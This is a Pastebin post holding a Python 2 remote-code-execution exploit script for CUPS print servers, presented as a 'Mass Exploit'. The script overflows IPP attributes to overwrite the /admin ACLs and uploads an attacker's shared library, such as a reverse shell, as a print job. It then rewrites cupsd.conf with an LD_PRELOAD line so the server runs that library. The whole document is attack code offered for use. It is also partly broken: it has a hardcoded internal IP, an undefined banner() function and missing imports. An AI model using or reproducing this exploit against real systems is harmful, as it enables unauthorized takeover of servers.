Advertisement
mysql_Anarchy

[ PYTHON ] Mass Exploit (RCE)

Jun 9th, 2018
703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 19.40 KB | None | 0 0
  1. def usage ():
  2.     print   ("python script.py <args>\n"
  3.             "   -h, --help:             Show this message\n"
  4.             "   -a, --rhost:            Target IP address\n"
  5.             "   -b, --rport:            Target IPP service port\n"
  6.             "   -c, --lib               /path/to/payload.so\n"
  7.             "   -f, --stomp-only        Only stomp the ACL (no postex)\n"
  8.             "\n"
  9.             "Examples:\n"
  10.             "python script.py -a 10.10.10.10 -b 631 -f\n"
  11.             "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")
  12.     exit()
  13.  
  14. def pretty (t, m):
  15.         if (t is "+"):
  16.                 print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
  17.         elif (t is "-"):
  18.                 print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
  19.         elif (t is "*"):
  20.                 print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
  21.         elif (t is "!"):
  22.                 print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",
  23.  
  24. def createDump (input):
  25.         d, b, h = '', [], []
  26.         u = list(input)
  27.         for e in u:
  28.                 h.append(e.encode("hex"))
  29.                 if e == '0x0':
  30.                         b.append('0')
  31.                 elif 30 > ord(e) or ord(e) > 128:
  32.                         b.append('.')
  33.                 elif 30 < ord(e) or ord(e) < 128:
  34.                         b.append(e)
  35.  
  36.         i = 0
  37.         while i < len(h):
  38.                 if (len(h) - i ) >= 16:
  39.                         d += ' '.join(h[i:i+16])
  40.                         d += "         "
  41.                         d += ' '.join(b[i:i+16])
  42.                         d += "\n"
  43.                         i = i + 16
  44.                 else:
  45.                         d += ' '.join(h[i:(len(h) - 0 )])
  46.                         pad = len(' '.join(h[i:(len(h) - 0 )]))
  47.                         d += ' ' * (56 - pad)
  48.                         d += ' '.join(b[i:(len(h) - 0 )])
  49.                         d += "\n"
  50.                         i = i + len(h)
  51.  
  52.         return d
  53.  
  54. class tcpsock:
  55.     def __init__(self, sock=None):
  56.         if sock is None:
  57.             self.sock = socket(
  58.             AF_INET, SOCK_STREAM)
  59.             self.sock.settimeout(30)
  60.         else:
  61.             self.sock = sock
  62.     def connect(self, host, port):
  63.         self.sock.connect((host, int(port)))
  64.     def tx(self, msg):
  65.         self.sock.send(msg)
  66.     def rx(self):
  67.         tmp  = self.sock.recv(1024)
  68.         msg = ""
  69.         while tmp:
  70.             msg += tmp
  71.             tmp  = self.sock.recv(1024)
  72.         return msg
  73.  
  74. def txrx (ip, port, proto, txpacket):
  75.     if (proto is "tcp"):
  76.         sock = tcpsock()
  77.     elif (proto is "udp"):
  78.         sock = udpsock()
  79.     else:
  80.         return None
  81.     sock.connect(ip, port)
  82.     sock.tx(txpacket)
  83.     rxpacket = sock.rx()
  84.     return rxpacket
  85.  
  86. def locatePrinters(rhost, rport="631"):
  87.     request = ( "GET /printers HTTP/1.1\x0d\x0a"
  88.         "Host: " + rhost + ":" + rport + "\x0d\x0a"
  89.         "User-Agent: CUPS/2.0.2\x0d\x0a"
  90.         "Connection: Close\x0d\x0a"
  91.         "\x0d\x0a")
  92.     response = txrx(rhost, int(rport), "tcp", request)
  93.     if response is not None:
  94.         m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)
  95.         if m is not None:
  96.             printer = m.group(1)
  97.             pretty("+","printer found: " + printer)
  98.     else:
  99.         pretty("-","no printers")
  100.         exit(1)
  101.     return printer
  102.  
  103. def preparePayload(libpath):
  104.     with open(libpath, 'rb') as f:
  105.         payload = f.read()
  106.     if payload is not None:
  107.         pretty("*","Payload:\n" + createDump(payload))
  108.     else:
  109.         pretty("-","something went wrong")
  110.         usage()
  111.     return payload
  112.  
  113. def seedTarget(rhost, rport, printer, payload):
  114.     i = random.randint(1,3)
  115.     reqid = str(pack(">i",(i+2)))
  116.     reqid2 = str(pack(">i",(i+3)))
  117.     printer_uri = "ipp://" + rhost + ":" + str(rport) + printer
  118.  
  119.     create_job_packet = ("\x02\x00"
  120.                          "\x00\x05"+
  121.                          reqid+
  122.                          "\x01"
  123.                          "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
  124.                          "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
  125.                          "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
  126.                          "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
  127.                          "\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"
  128.                          "\x02"
  129.                          "\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"
  130.                          "\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"
  131.                          "\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"
  132.                          "\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"
  133.                          "\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"
  134.                          "\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"
  135.                          "\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"
  136.                          "\x03")
  137.     pretty("*","Sending createJob")
  138.  
  139.     http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
  140.                         "Content-Type: application/ipp\x0d\x0a"
  141.                         "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
  142.                         "User-Agent: CUPS/2.0.2\x0d\x0a"
  143.                         "Connection: Close\x0d\x0a"
  144.                         "Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"
  145.                         "\x0d\x0a")
  146.  
  147.     createJobRequest = http_header1 + create_job_packet
  148.     blah = txrx(rhost,int(rport),"tcp",createJobRequest)
  149.     if blah is not None:
  150.         m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)
  151.         if m is not None:
  152.             jobid = m.group(1)
  153.     else:
  154.         pretty("-","something went wrong");
  155.         exit()
  156.  
  157.     pretty("*","\n" + createDump(blah) + "\n")
  158.     pretty("*", "Sending sendJob")
  159.  
  160.     send_document_packet = ("\x02\x00"
  161.                             "\x00\x06"+
  162.                             reqid2+
  163.                             "\x01"
  164.                             "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
  165.                             "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
  166.                             "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
  167.                             "\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +
  168.                             "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
  169.                             "\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"
  170.                             "\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"
  171.                             "\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"
  172.                             "\x03"+
  173.                             payload)
  174.  
  175.     http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
  176.                         "Content-Type: application/ipp\x0d\x0a"
  177.                         "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
  178.                         "User-Agent: CUPS/2.0.2\x0d\x0a"
  179.                         "Connection: Close\x0d\x0a"
  180.                         "Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"
  181.                         "\x0d\x0a")
  182.  
  183.     sendJobRequest = http_header2 + send_document_packet
  184.     blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest)
  185.     pretty("*","\n" + createDump(blah) + "\n")
  186.     pretty("*","job id: " + jobid)
  187.     return jobid
  188.  
  189. def stompACL(rhost, rport, printer):
  190.     i = random.randint(1,1024)
  191.     printer_url = "ipp://" + rhost + ":" + rport + printer
  192.  
  193.     admin_stomp = ("\x02\x00"      #   vers 2.0
  194.                 "\x00\x05"+     #   op id: Create Job (0x0005)
  195.                 str(pack(">i",(i+1)))+
  196.                 "\x01"      #   op attributes marker
  197.                 "\x47"      #   charset
  198.                 "\x00\x12"      #   name len: 18
  199.                 "attributes-charset"
  200.                 "\x00\x08"      #   val len: 8
  201.                 "us-ascii"
  202.                 "\x48"      #   natural language
  203.                 "\x00\x1b"      #   name len: 27
  204.                 "attributes-natural-language"
  205.                 "\x00\x06"      #   val len: 6
  206.                 "/admin"
  207.                 "\x45"      #   printer-uri
  208.                 "\x00\x0b"      #   name len 11
  209.                 "printer-uri" +
  210.                 str(pack(">h", len(printer_url))) + printer_url +
  211.                 "\x42"      #   name without lang
  212.                 "\x00\x14"      #   name len: 20
  213.                 "requesting-user-name"
  214.                 "\x00\x06"      #   val len: 6
  215.                 "/admin"
  216.                 "\x02"      #   job attrs marker
  217.                 "\x21"      #   integer
  218.                 "\x00\x06"      #   name len: 6
  219.                 "copies"
  220.                 "\x00\x04"      #   val len: 4
  221.                 "\x00\x00\x00\x01"  #   1
  222.                 "\x42"      #   name w/o lang
  223.                 "\x00\x19"      #   name len: 25
  224.                 "job-originating-host-name"
  225.                 "\x00\x0c"      #   val len: 12
  226.                 "AAAAAAAAAAAA"
  227.                 "\x42"      #   nwol
  228.                 "\x00\x00"      #   name len: 0
  229.                 "\x00\x0c"      #   val len: 12
  230.                 "AAAAAAAAAAAA"
  231.                 "\x42"      #   nwol
  232.                 "\x00\x00"      #   name len: 0
  233.                 "\x00\x0c"      #   val len: 12
  234.                 "AAAAAAAAAAAA"
  235.                 "\x42"      #   nwol
  236.                 "\x00\x00"      #   name len: 0
  237.                 "\x00\x0c"      #   val len: 12
  238.                 "AAAAAAAAAAAA"
  239.                 "\x42"      #   nwol
  240.                 "\x00\x00"      #   name len: 0
  241.                 "\x00\x0c"      #   val len: 12
  242.                 "AAAAAAAAAAAA"
  243.                 "\x42"      #   nwol
  244.                 "\x00\x00"      #   name len: 0
  245.                 "\x00\x0c"      #   val len: 12
  246.                 "AAAAAAAAAAAA"
  247.                 "\x42"      #   nwol
  248.                 "\x00\x00"      #   name len: 0
  249.                 "\x00\x0c"      #   val len: 12
  250.                 "AAAAAAAAAAAA"
  251.                 "\x42"      #   nwol
  252.                 "\x00\x00"      #   name len: 0
  253.                 "\x00\x0c"      #   val len: 12
  254.                 "AAAAAAAAAAAA"
  255.                 "\x42"      #   nwol
  256.                 "\x00\x00"      #   name len: 0
  257.                 "\x00\x0c"      #   val len: 12
  258.                 "AAAAAAAAAAAA"
  259.                 "\x42"      #   nwol
  260.                 "\x00\x00"      #   name len: 0
  261.                 "\x00\x0c"      #   val len: 12
  262.                 "AAAAAAAAAAAA"
  263.                 "\x42"      #   nwol
  264.                 "\x00\x00"      #   name len: 0
  265.                 "\x00\x0c"      #   val len: 12
  266.                 "AAAAAAAAAAAA"
  267.                 "\x42"      #   nwol
  268.                 "\x00\x00"      #   name len: 0
  269.                 "\x00\x0c"      #   val len: 12
  270.                 "AAAAAAAAAAAA"
  271.                 "\x36"      #   nwl
  272.                 "\x00\x00"      #   name len: 0
  273.                 "\x00\x16"      #   val len: 22
  274.                 "\x00\x06"      #   length
  275.                 "/admin"
  276.                 "\x00\x0c"
  277.                 "BBBBBBBBBBBB"
  278.                 "\x03")      #   end of attributes
  279.  
  280.     conf_stomp = ("\x02\x00"        #   vers 2.0
  281.                 "\x00\x05"+     #   op id: Create Job (0x0005)
  282.                 str(pack(">i",(i+2)))+
  283.                 "\x01"      #   op attributes marker
  284.                 "\x47"      #   charset
  285.                 "\x00\x12"      #   name len: 18
  286.                 "attributes-charset"
  287.                 "\x00\x08"      #   val len: 8
  288.                 "us-ascii"
  289.                 "\x48"      #   natural language
  290.                 "\x00\x1b"      #   name len: 27
  291.                 "attributes-natural-language"
  292.                 "\x00\x0b"      #   val len: 11
  293.                 "/admin/conf"
  294.                 "\x45"      #   printer-uri
  295.                 "\x00\x0b"      #   name len 11
  296.                 "printer-uri" +
  297.                 str(pack(">h", len(printer_url))) + printer_url +
  298.                 "\x42"      #   name without lang
  299.                 "\x00\x14"      #   name len: 20
  300.                 "requesting-user-name"
  301.                 "\x00\x0b"      #   val len: 11
  302.                 "/admin/conf"
  303.                 "\x02"      #   job attrs marker
  304.                 "\x21"      #   integer
  305.                 "\x00\x06"      #   name len: 6
  306.                 "copies"
  307.                 "\x00\x04"      #   val len: 4
  308.                 "\x00\x00\x00\x01"  #   1
  309.                 "\x42"      #   name w/o lang
  310.                 "\x00\x19"      #   name len: 25
  311.                 "job-originating-host-name"
  312.                 "\x00\x0c"      #   val len: 12
  313.                 "AAAAAAAAAAAA"
  314.                 "\x42"      #   nwol
  315.                 "\x00\x00"      #   name len: 0
  316.                 "\x00\x0c"      #   val len: 12
  317.                 "AAAAAAAAAAAA"
  318.                 "\x42"      #   nwol
  319.                 "\x00\x00"      #   name len: 0
  320.                 "\x00\x0c"      #   val len: 12
  321.                 "AAAAAAAAAAAA"
  322.                 "\x42"      #   nwol
  323.                 "\x00\x00"      #   name len: 0
  324.                 "\x00\x0c"      #   val len: 12
  325.                 "AAAAAAAAAAAA"
  326.                 "\x42"      #   nwol
  327.                 "\x00\x00"      #   name len: 0
  328.                 "\x00\x0c"      #   val len: 12
  329.                 "AAAAAAAAAAAA"
  330.                 "\x42"      #   nwol
  331.                 "\x00\x00"      #   name len: 0
  332.                 "\x00\x0c"      #   val len: 12
  333.                 "AAAAAAAAAAAA"
  334.                 "\x42"      #   nwol
  335.                 "\x00\x00"      #   name len: 0
  336.                 "\x00\x0c"      #   val len: 12
  337.                 "AAAAAAAAAAAA"
  338.                 "\x42"      #   nwol
  339.                 "\x00\x00"      #   name len: 0
  340.                 "\x00\x0c"      #   val len: 12
  341.                 "AAAAAAAAAAAA"
  342.                 "\x42"      #   nwol
  343.                 "\x00\x00"      #   name len: 0
  344.                 "\x00\x0c"      #   val len: 12
  345.                 "AAAAAAAAAAAA"
  346.                 "\x42"      #   nwol
  347.                 "\x00\x00"      #   name len: 0
  348.                 "\x00\x0c"      #   val len: 12
  349.                 "AAAAAAAAAAAA"
  350.                 "\x42"      #   nwol
  351.                 "\x00\x00"      #   name len: 0
  352.                 "\x00\x0c"      #   val len: 12
  353.                 "AAAAAAAAAAAA"
  354.                 "\x42"      #   nwol
  355.                 "\x00\x00"      #   name len: 0
  356.                 "\x00\x0c"      #   val len: 12
  357.                 "AAAAAAAAAAAA"
  358.                 "\x36"      #   nwl
  359.                 "\x00\x00"      #   name len: 0
  360.                 "\x00\x1b"      #   val len: 27
  361.                 "\x00\x0b"      #   length
  362.                 "/admin/conf"
  363.                 "\x00\x0c"
  364.                 "BBBBBBBBBBBB"
  365.                 "\x03")      #   end of attributes
  366.  
  367.     http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
  368.                     "Content-Type: application/ipp\x0d\x0a"
  369.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  370.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  371.                     "Connection: Close\x0d\x0a"
  372.                     "Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"
  373.                     "\x0d\x0a")
  374.  
  375.     http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
  376.                     "Content-Type: application/ipp\x0d\x0a"
  377.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  378.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  379.                     "Connection: Close\x0d\x0a"
  380.                     "Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"
  381.                     "\x0d\x0a")
  382.  
  383.     pretty("*","stomping ACL")
  384.     pretty("*",">:\n" + createDump(http_header1 + admin_stomp))
  385.     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))
  386.     time.sleep(1)
  387.     pretty("*",">:\n" + createDump(http_header2 + conf_stomp))
  388.     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))
  389.  
  390.     http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"
  391.                         "Host: " + rhost + ":" + rport + "\x0d\x0a"
  392.                         "User-Agent: CUPS/2.0.2\x0d\x0a"
  393.                         "Connection: Close\x0d\x0a"
  394.                         "\x0d\x0a")
  395.     pretty("*","checking /admin")
  396.     pretty("*",">:\n" + createDump(http_header_check))
  397.     res = txrx(rhost,rport,"tcp",http_header_check)
  398.     pretty("*","<:\n" + createDump(res))
  399.     m = re.search('200 OK', res)
  400.     if m is not None:
  401.         pretty("+","ACL stomp successful")
  402.     else:
  403.         pretty("-","exploit failed")
  404.         exit(1)
  405.  
  406.  
  407. def getConfig(rhost, rport):
  408.     i = random.randint(1,1024)
  409.     original_config = ""
  410.     http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
  411.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  412.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  413.                     "Connection: Close\x0d\x0a"
  414.                     "\x0d\x0a")
  415.  
  416.     pretty("*","grabbing configuration file....")
  417.     res = txrx(rhost,rport,"tcp",http_request)
  418.     res_array = res.split("\x0d\x0a\x0d\x0a")
  419.     original_config = res_array[1]
  420.     pretty("*","config:\n" + original_config + "\n")
  421.     return original_config
  422.  
  423. def putConfig(rhost, rport, config):
  424.     http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
  425.                     "Content-Type: application/ipp\x0d\x0a"
  426.                     "Host: " + rhost + ":" + rport + "\x0d\x0a"
  427.                     "User-Agent: CUPS/2.0.2\x0d\x0a"
  428.                     "Connection: Keep-Alive\x0d\x0a"
  429.                     "Content-Length: " + str(len(config)) + "\x0d\x0a"
  430.                     "\x0d\x0a")
  431.     pretty("*","overwriting config...")
  432.     pretty("*",">:\n" + createDump(http_request + config))
  433.     pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))
  434.  
  435. def poisonConfig(config, name):
  436.     config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a"
  437.     return config
  438.  
  439. def main():
  440.     rhost = None;
  441.     noshell = None;
  442.     options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])
  443.     for opt, arg in options:
  444.         if opt in ('-h', '--help'):
  445.             usage()
  446.         elif opt in ('-a','--rhost'):
  447.             rhost = arg;
  448.         elif opt in ('-b','--rport'):
  449.             rport = arg;
  450.         elif opt in ('-c','--lib'):
  451.             libpath = arg;
  452.         elif opt in ('-f','--stomp-only'):
  453.             noshell = 1;
  454.     banner()
  455.     if rhost is None or rport is None:
  456.         usage()
  457.     pretty("*","locate available printer")
  458.     printer = locatePrinters(rhost, rport)
  459.     pretty("*","stomp ACL")
  460.     stompACL(rhost, rport, printer)
  461.     if (noshell is not None):
  462.         pretty("*","fin")
  463.         exit(0)
  464.     pretty("*","prepare payload")
  465.     payload = preparePayload(libpath)
  466.     pretty("*","spray payload")
  467.     jobid = seedTarget(rhost, rport, printer, payload)
  468.     pretty("*","grab original config")
  469.     OG_config = getConfig(rhost, rport)
  470.     pretty("*","generate poison config")
  471.     evil_config = poisonConfig(OG_config, jobid)
  472.     pretty("*","upload poison config")
  473.     putConfig(rhost, rport, evil_config)
  474.     pretty("*","fin")
  475.     exit(0);
  476.  
  477. if __name__ == "__main__":
  478.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement